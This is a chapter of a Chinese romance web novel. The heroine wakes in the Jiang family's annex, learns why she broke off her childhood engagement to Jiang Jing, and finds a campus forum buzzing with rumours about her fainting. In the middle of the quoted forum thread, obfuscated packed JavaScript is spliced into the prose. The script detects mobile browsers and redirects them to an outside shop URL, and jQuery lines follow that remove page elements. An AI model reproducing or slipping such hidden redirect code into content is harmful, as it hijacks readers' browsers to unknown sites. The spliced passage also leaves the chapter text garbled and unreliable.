27. 别院
作品:《不能OOC的限制文大小姐》 “我……”姜夏琳张了张嘴,却发现喉咙比刚才更干,只发出一个音节,声音就被卡在胸口。
她接过钟管家递来的水杯。
温水润过喉管,带来片刻舒缓,却冲不散盘踞在脑海里的画面——
少年江竞单薄的肩膀,渗血的伤口,还有那双在旁人的奚落声中死死望过来的、带着执拗的双眼。
“江家少爷私底下来家里找过你好几次,”钟管家候在一旁,声音平缓地续上回忆的线索,“不过只有第一次小姐你见了他,后来……你都没给他开过门,再后来,你就跟老爷提出要解除婚约了。”
“是我要求取消的……”她喃喃重复,每个字都像从齿缝间硬挤出来,沙哑得自己都陌生,“为什么?”
钟管家沉默了片刻,保养得宜的面容在室内暖光下透出些微的斟酌之色。
“具体缘由,我不是很清楚。”她回答得十分谨慎,“那时您刚升入高中不久,有一天,似乎学校里的同学提到这件事让您不是很愉快。您从学校回来,情绪很不好,将自己关在房间里很久。后来,您就向老爷夫人正式提出,要解除和江家的婚约。”
高中……刚升入高中不久……
梦境里那个穿着未来高中制服、脸颊还残留着未褪婴儿肥的江竞,和眼前钟管家所述的时间点严丝合缝地对上了。
想必,是她的意识从那个剑拔弩张的花园抽离后,那位完美的大小姐重新掌控了这具身体,也顺手斩断了和落魄少年的仅剩连接。
也是,当时的江家声名狼藉,连踏进姜家花园都会被宾客嗤笑为“叫花子”,又怎么配继续做姜家大小姐名义上的未婚夫?
“不过当时江家欠了很多钱,名声很差,小姐您和他们有婚约确实不合适,所以老爷很利索地给您取消了婚约。”
方才离去的佣人们似乎完成了手头工作,又轻手轻脚地回到房间各处待命。
见状,钟管家声音压得极低,用只有两人能听到的声量补充:“不过,这都是好多年前的事了。江家后来举家迁往海外,老爷夫人看在过去的情分上帮扶了不少,现在江家也重新回国好长一段时间了,以前这些事大人们早就忘光了。这婚约本来也就是老爷和江家老爷年轻时的随口一句约定,没人当真,您不必为此困扰。”
……不必困扰?
姜夏琳听见自己心底发出一声无言的、沉重的叹息。
原来如此。
怪不得江竞每次看她的眼神都冰冷又复杂,每一次靠近都一副要把她生吞活剥了的模样——
原来在他最狼狈不堪、摇摇欲坠的少年时代,是她,或者说那位完美的姜夏琳,亲手将他最后那点尊严碾了个粉碎。
大人世界里一句轻飘飘的没人当真,却是少年赌上全部骄傲,近乎卑微的恳求。
而这份恳求,被她轻描淡写地扔进了垃圾堆。
“不过小姐,您感觉好些了吗?”钟管家看着她愈加苍白的脸色,语气染上真切的忧心,“您在邵小姐的生日宴上突然晕倒了,当时场面乱得很,大家都吓坏了。”
“大家?”姜夏琳抬眸,指尖无意识摩挲着光滑的杯壁。
钟管家顿了顿,目光扫过她脸上茫然的神情:“在场的大家都知道您晕倒了,这事情都传到在国外的老爷夫人那儿了,您睡着的时候,他们打了好几通电话回来问您的情况呢。”
说来奇怪,不久前在琴房触发的惩罚,痛感几乎要将她的意识撕裂成两半,可一觉醒来这感觉已经消失得无影无踪。
她竟然又在这个危机四伏的世界里醒了过来。
“……没事了,”她思忖着,缓慢地摇摇头,“现在已经好了。”只是梦境给心口带来的那股被往事堵住的滞涩感,仍旧沉甸甸地压着。
“说起来,您一醒来就问这些……”钟管家观察着她的神色,试探着开口,“是因为您和江少爷之间,发生了什么吗?”
姜夏琳呼吸微凝。
“……什么意思?”
“您晕倒后,现场很混乱,是江少爷送您来治疗的。”钟管家并未身处现场,只是回忆着众人给她的复述,语气里带着一丝不易察觉的复杂,“他当时的样子……很着急。”
没想到疑问这么快就有了解释,姜夏琳眼睫轻颤了一下。
“啊……”她低声应道,心中了然。想必是在江竞送她来看医生的过程中,无意间触碰到了他,然后就像之前在储藏室那次一样,系统的惩罚被中断了。
怪不得能醒过来。
……可是,江竞会着急?
那个在琴房里一副恨不得将她杀掉模样的江竞?
她无法将这两幅画面拼在一起。
姜夏琳又举起水杯喝了一口,冰凉的液体滑入喉咙,让她混乱的思绪稍定。
她这才有余裕打量身处的环境——房间宽敞奢华,装潢是低调的深色系,家具线条冷硬,空气里弥漫着淡淡的消毒水气味,混合着一种陌生的、沉静的木质香。
这不像是她的卧室,也不像医院。
“钟姨,”她转向管家,声音恢复了基础的平稳,“这里是哪里?不像家里。”
钟管家像是才想起这桩要紧事,轻轻拍了下自己的脑袋:“您瞧我,光顾着说话,竟忘了跟您说明。这里是江家的别院。”
“江家?”姜夏琳的心猛地一沉。
“是的。您晕倒后,江夫人第一时间赶了过来。江夫人出身医学世家,她亲自调度,请来了最好的医疗团队,坚持把您接到这里来照看,说这里的医疗设备和环境更利于您静养恢复。”钟管家解释道,“老爷夫人接到消息后,也同意了江家的安排。”
话音刚落,门外走廊传来沉稳而清晰的脚步声,由远及近。
紧接着,房门被礼貌地敲响几下,不等里面回应,便从外推开。
走进来的是一对中年夫妇,身后跟着几个和房间里佣人衣着一致的人。
中年夫妇中的男人穿着剪裁精良的深灰色西装,面容严肃,眼神锐利,周身散发着久居上位的威严感。他身侧的女人则保养得极好,一袭墨绿色旗袍,外搭羊绒披肩,气质温婉典雅,唯有眉眼间透出的干练和关切,显露出她并非寻常贵妇。
正是江竞的父母,江锋与文清仪。
姜夏琳试探地往他们身后看了看,好在,江竞并不在他们身后。
“姜小姐醒了?”文清仪率先开口,声音柔和,脚步轻快地走到床边,目光专业地在她脸上巡睃,“感觉怎么样?头还晕吗?有没有哪里不舒服?”
姜夏琳撑起身子,靠在床头,迅速调整好表情,挂上那副无懈可击的礼貌微笑:“谢谢夫人关心,我已经好多了。”
江锋站在原地,目光沉沉地看了她片刻,才缓慢开口:“……姜小姐,小竞行事冲动,让你受惊了。”
他停顿了一下,眉头拧紧,语气严厉,不像是客套:“我已经严厉训斥过他。”
文清仪在一旁适时接过话头,温声解释:“琴房里的事,我们了解过了,是个意外。你当时身体突然不适,小竞也是一时情急,有怠慢你的地方还请多担待。听说你最近经常身体不适,可以在这里静养几天,江家会确保你的安全和健康,会有最好的医疗团队全程待命。”
“这些都已经跟你的父母沟通过了,他们都同意。”江锋最后说道,语气里带着几分熟悉的不容商量的意味,“这几天,你就好好在这里休息。需要什么,就告诉管家或者你文阿姨。”
他深邃的目光落在姜夏琳脸上,身子稍微向她歉了歉,诚意十足:“至于小竞……我会看着他,不会让他再乱来。”
江家二位长辈良好的态度把姜夏琳惊了一跳。
看来,他们确实已经完全忘记了她和江竞曾经那遭事,江竞……显然也没同他们说。
自己父母都已然同意,对方也承诺会看好江竞,且看这副严肃的模样,不像有假……
姜夏琳垂下眼帘,避开江锋极具穿透力的视线,轻声应答道:“……谢谢叔叔、阿姨费心安排。”
她无法开口说“我不想呆在这里”,那不符合大小姐该有的礼节,更会引来不必要的猜疑和追问。
江锋和文清仪又停留了片刻,询问了几句身体状况,叮嘱她好好休息,便离开了房间。
连带着那成片的佣人,像是他们暗中给了什么指示,也跟着离开了房间。
房门关上后,姜夏琳转向钟管家,声音里透出淡淡的疲惫:“钟姨,我想一个人待一会儿。”
“好的,小姐。我就在外间,您随时叫我。”钟管家体贴地应下,带着佣人们安静地退了出去。
房间终于彻底安静下来。
姜夏琳掀开被子下床,赤脚踩在柔软厚重的地毯上,走到窗边。
厚重的窗帘拉开一角,似乎是午后的阳光斜射进来,明媚得有些刺眼。
她在窗边的皮质单人沙发上找到自己的手包,拿出手机。屏幕亮起,时间显示已是第二天的下午。
她这才意识到,自己竟然昏睡了一整夜外加一个白天。
她所在的房间似乎在一间独栋别墅的二层,房间外带着一个小阳台,她拿着手机,又从衣柜里找了条薄厚合适的毯子,便一个人走了出去。
坐在阳台上的懒人沙发里,温暖的阳光很快把她的身体也照得暖洋洋的。
神智从刚醒时的恍惚变得愈发清醒,她解锁手机,在各种社交软件上逛了一圈,然后百无聊赖地点开了未来大学的校园论坛。
论坛里一如既往地热闹,今天这热闹似乎更多上几分,好几个带着“爆”的标签的帖子飘在顶部。
姜夏琳慢悠悠地将界面下滑,看清帖子的标题写着什么后,瞳孔骤然收缩。
论坛首页,几乎被同一个主题的相关帖子刷屏,热度标签一片飘红。
最顶端是一个直播帖的复盘整理,标题劲爆得像某些古早地摊小报:
【直播楼~邵家生日宴钢琴房惊现三角修罗场!钢琴房秘会?晕厥门?两男争一女?!】
帖子以匿名“现场目击者”的口吻,用极其煽动性的文字,详细直播了在邵晏舒生日宴上发生的一切:
【太刺激了家人们!楼主现在就在邵大小姐生日宴现场,二楼钢琴房刚刚上演了一出年度大戏,手都在抖,必须给你们文字直播!】
【现在所有人都聚在钢琴房门口,因为里面有个女生晕倒了。不知道大家认不认得,姜家的大小姐姜夏琳,开学时候因为颜值火过一阵那个。】
【但重点来了,房间里不止她一个人,有一个男生和她在一起!此男姓江,大家没猜错,就是江家那个很有名的小儿子,很高的那个。】
【他现在正抱着晕倒的女主角,脸色那叫一个难看,手都没撒开。俩人单独待在钢琴房,女生突然晕倒……这关系不用我多说了吧?】
【最新进展!陆临川陆会长来了,他直接进房间了,看样子是让江竞把人交出来……我靠,这什么情况?这到底是谁的女朋友?】
【俩人好像在交涉什么,听不见内容。江少爷还没松手,反而把女主角整个人抱起来了。看起来他没怎么抱过人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087484|193807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外套盖人脸上了,都要包成粽子了。】
【我靠,陆会长挡在门口没让路。】
【好了好了,BOSS登场了。江董他爹上来了,现在女主角和江竞都被送上江家的车带走了,楼主继续吃席了。】
【贵圈好乱啊,有没有知情人士爆料一下?】
发帖人的文字极具画面感和引导性,下面的评论直到现在都还在不断刷新:
【楼主……图呢……没图你说个啥呢……】
【没图也很精彩了!未来市有头有脸的小辈和长辈都快凑一桌麻将了,我靠,百年难遇的场面啊!】
【楼上别跑题啊,所以女主角到底是不是江竞的女朋友?他们俩躲琴房里干嘛呢?总不是真的在研究《小星星》四手联弹吧?[狗头]】
【我看是陆临川的女朋友吧,邵家生日宴总不归学生管吧,他搀和什么?就是陆会长现在脑袋上是不是有点绿啊?[吃瓜]】
【我最爱看三角恋了,尤其是顶配三角恋!表面是钢琴房晕厥门,实则是两男争一女!表面是江董控场,实则是岳父收拾烂摊子(不是)!好看爱看,求后续!】
【还有人记得这是邵小姐的生日宴吗……有没有人关心一下寿星……风头被抢得干干净净,蛋糕都没人记得切了吧?】
【寿星变司仪,最佳观戏位,这波生日宴值回票价了属于是。】
这个直播复帖就像投进深水区的炸弹,瞬间炸出了无数吃瓜贴和分析帖,好几个衍生的帖子都依次挂上了热帖标签:
【我好像多出了一段记忆,陆会长和姜小姐开学的时候不就被拍到过吗?谁还能找到那帖子!】
【投票贴-姜夏琳现在是不是江竞的女朋友?(8042人参与)】
有人甚至翻出江竞以前阴沉孤僻、不近女色的传闻,与直播帖里慌张的模样对比,凭空脑补出一场为爱失控的大戏。
姜夏琳机械般地一条条刷下去,指尖冰凉。
最初涌上的那种被围观、被曲解的冰冷愤怒,渐渐被一种更深的无言所取代。
舆论的漩涡一旦形成,便会自行补充所有逻辑缺环,编织出比事实更合理、也更刺激的故事。
事情被编得过于离谱,她看着那些活灵活现的细节描写,感觉就算她此刻想要站出去解释,也找不到一个可以下手的切入点。
她扯了扯唇角,一个近乎自嘲的弧度。
楼主的描述一定凭空夸大了不少,江竞怎么会因为她的晕倒而惊慌失措?他看她时,眼里只有冰封的恨意和嘲弄。
陆临川或许会出于责任挡在她身前,但也不至于到帖子里描述的、与江竞分毫不让的对峙模样。
她闭了闭眼,再睁开时,眼底那点微弱的波澜被压了下去。
——不能任由它们发酵。
她重新解锁手机,不再去看那些添油加醋的猜测,转而点开论坛的举报页面,神色平静地、一个一个地对那些最离谱的衍生热帖点击举报。
在举报理由栏,她认真地键入:“内容不实,恶意捏造,侵犯个人隐私,扰乱论坛秩序。”
她想了想,重新打开手机,认真地给每个不实帖子点了举报,并细细填写了举报原因。
数量众多,她低着头,耐心地重复着这个动作,直到指尖微微发酸,眼眶也因长时间注视屏幕而泛起涩意。
完成这一切后,她将手机锁屏,紧紧攥在手心。
天际下,夕阳正缓缓沉入远山的轮廓,余晖挣扎着给江家别院优雅却极尽冷硬的建筑线条镀上一层金边。
光芒以肉眼可见的速度暗淡下去,建筑的阴影开始拉长,如同潜伏的巨兽。
姜夏琳转动着有些酸痛的脖颈,目光越过楼下精心修剪的花园,投向与身处的别院间隔甚远的主宅。
那栋建筑更为恢宏,沉稳地矗立在渐浓的暮色中,无声彰显着江家当前的底气和实力。
她想起钟管家的话,父母曾在江家困顿时施以援手,一丝极淡的庆幸掠过心头——
好在有这么一点情分在,否则,以当年取消婚约时的那份干脆甚至冷漠的劲头,如今得势的江家,指不定会如何回报那份少年时承受的羞辱。
她的目光漫无目的地游移,忽然,定在了主宅三层某扇宽大的落地窗后。
那里,一道模糊的黑色身影,正静静地伫立在尚未亮灯的室内阴影中。
距离太远了,远到看不清任何五官细节,只有一个人形的、沉默的轮廓,面朝她所处的这栋别院小楼的方向。
但就在那一瞬间,一股毫无缘由的、强烈的直觉如冰针般刺入姜夏琳的后脊——
是江竞。
他在看着她。
或许已经看了很久。
暮色四合,那道影子与身后房间的昏暗几乎融为一体,唯独存在本身,带着不容忽视的注视感,穿过花园,牢牢锁定着她所在的这个阳台。
姜夏琳的心脏猛地缩紧,又骤然松开,留下空荡荡的回响。
……她还没想好,再次见到江竞时,该作何反应。
她顿了顿,垂下眼,不着痕迹地收回了目光。
随即,她搓了搓双臂,似乎因为太阳的离去感到寒冷,然后自然地起身,拉开阳台的玻璃门,重新踏入室内温暖的灯光下,再将落地窗的窗帘拉紧,彻底隔绝了外面渐起的晚风和那道遥远的视线。
她没有看到的是,就在她转身后几秒,主宅三楼那扇窗户后,模糊的身影也微微动了一下。
很快,如同溶入更深的黑暗一般,也悄然离开了窗边。

